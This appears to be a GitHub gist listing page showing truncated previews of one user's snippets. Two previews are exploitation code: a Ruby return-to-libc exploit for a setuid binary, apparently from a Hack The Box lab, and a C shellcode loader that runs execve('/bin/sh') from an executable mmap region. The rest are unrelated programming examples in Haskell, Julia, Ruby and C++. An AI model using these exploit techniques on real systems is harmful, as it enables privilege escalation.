Skip to content

Instantly share code, notes, and snippets.

@safiire
safiire / october_aslr_setuid.rb
Last active November 8, 2018 07:42
Return2LibC for a HTB setuid binary
#!/usr/bin/env ruby
# This is what we need to guess from ldd vuln
ldd_load_address = 0xb75ba000
# Next get offset of system() and its address
system_offset = 0x1e310
system_address = ldd_load_address + system_offset
# Next get offset of /bin/sh from strings -d -tx libc.6.so, minus correction
@safiire
safiire / mmap.c
Last active August 28, 2017 18:51
Copy Shellcode into a Write Exec mmap()'d area, and jump to it.
#include <string.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
// NOP padded execve("/bin/sh")
char *sc =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
@safiire
safiire / fork_aslr.c
Last active August 25, 2017 06:27
How many bits are random on Linux ASLR?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
/*
* A fork() doesn't (and shouldn't) re-randomize the address space
* but that happens properly after the exec()
@safiire
safiire / parse_json.hs
Created January 17, 2017 13:57
Parsing JSON in Haskell
{-# LANGUAGE OverloadedStrings, DeriveGeneric #-}
import Data.Text (Text)
import Data.Aeson
import GHC.Generics
import qualified Data.ByteString.Lazy as B
data Person =
Person { first :: !Text
, last :: !Text
@safiire
safiire / rc_filter_simulation.jl
Last active July 19, 2017 00:54
Same old RC Filter Simulation in Julia
abstract PassiveComponent
type Resistor <: PassiveComponent
value::Complex{Float64}
end
type Capacitor <: PassiveComponent
value::Complex{Float64}
end
@safiire
safiire / kleisli.rb
Created December 16, 2016 03:06
Kleisli Gem is pretty awesome
require 'kleisli'
def do_lots(count)
(0..count).reduce(0){|sum, value| sum + value }
end
future = Future(100000000) >-> value {
Future {
do_lots(value.call)
} >-> big_sum {

Keybase proof

I hereby claim:

  • I am safiire on github.
  • I am safiire (https://keybase.io/safiire) on keybase.
  • I have a public key whose fingerprint is 06DC 5901 70E2 350A 4BCE 7C1D 9EFD 7244 59CC 7EB0

To claim this, I am signing this object:

@safiire
safiire / dual.h
Created October 11, 2016 02:08
My Dual Number implementation
#pragma once
#include <iostream>
#include <cmath>
#include <limits>
#include "saf_math.h"
//// Some more information for adding more functionality here:
//// http://www.euclideanspace.com/maths/algebra/realNormedAlgebra/other/dualNumbers/functions/
@safiire
safiire / difference_equation.rb
Last active September 19, 2016 21:42
Modeling a filter's difference equation, so that it can invert itself.
#!/usr/bin/env ruby
# Really inefficient toy
####
## A little wrapper to make signals either with
## lambda functions or arrays.
class SignalFunction
def self.ramp
SignalFunction.new(lambda{|n| n < 0 ? 0r : n/1r})
end
@safiire
safiire / variadic_print.cpp
Created May 16, 2016 07:59
Interesting way of using the new variadic templates to create a variadic print() function.
// Compile with: g++ -std=c++11 variadic_print.cpp -o variadic_print
#include <iostream>
// No argument case
void print() {}
// Recursive Variadic Template
template <typename HEAD, typename ... TAIL>
void print(const HEAD& head, const TAIL& ... tail) {